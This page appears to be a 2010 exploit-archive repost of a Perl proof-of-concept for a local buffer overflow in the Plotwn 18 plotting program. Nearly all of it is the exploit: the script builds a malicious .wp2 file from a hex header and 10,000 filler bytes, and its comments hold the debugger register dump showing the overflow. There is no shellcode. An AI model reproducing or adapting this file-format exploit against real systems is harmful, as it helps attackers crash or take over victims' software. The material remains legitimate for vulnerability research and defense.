Home / os / win7

Plotwn 18 (.wp2) local Buffer Overflow PoC

Posted on 24 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Plotwn 18 (.wp2) local Buffer Overflow PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==========================================
Plotwn 18 (.wp2) local Buffer Overflow PoC
==========================================


#!/usr/bin/perl
###################################################################
#Exploit Title : Plotwn 18 (.wp2) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX - Dz8[at]HotmaiL[dot]CoM
#download: http://math.exeter.edu/rparris/peanut/wpfr32z.exe
#Special Greets:Bibi-info , His0k4 [ where are you :( ]
###################################################################
#EAX 0012F2F8
#ECX 00B089CC
#EDX 00001CB5
#EBX 41414141
#ESP 0012F2AC
#EBP 0012F2B0
#ESI 00000025
#EDI 0000003B
#EIP 00506723 wplotfr.00506723
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDF000(FFF)
###################################################################
my $file = &quot;MadjiX.wp2&quot;;
 
my $hd =
&quot;x49x03x00x00x25x00x00x00x2Ex00x00x00x43x00x00x00x00x02x00x00x00x02&quot;.
&quot;x00x00x00x00x00x00x01x00x00x00x3Dx00x00x00xD9xFFxFFxFFx2Cx01x00x00&quot;.
&quot;x64x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00x0Ax00x00x00x0Fx00&quot;.
&quot;x00x00x2BxD0x28x01x49x1Ex29x01x00x00x00x00x0Cx00x00x00x0Ax00x00x00&quot;;
 
my $junk = &quot;x41&quot; x 10000 ;
open($FILE,&quot;&gt;$file&quot;);
print $FILE $hd.$junk;
close($FILE);



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :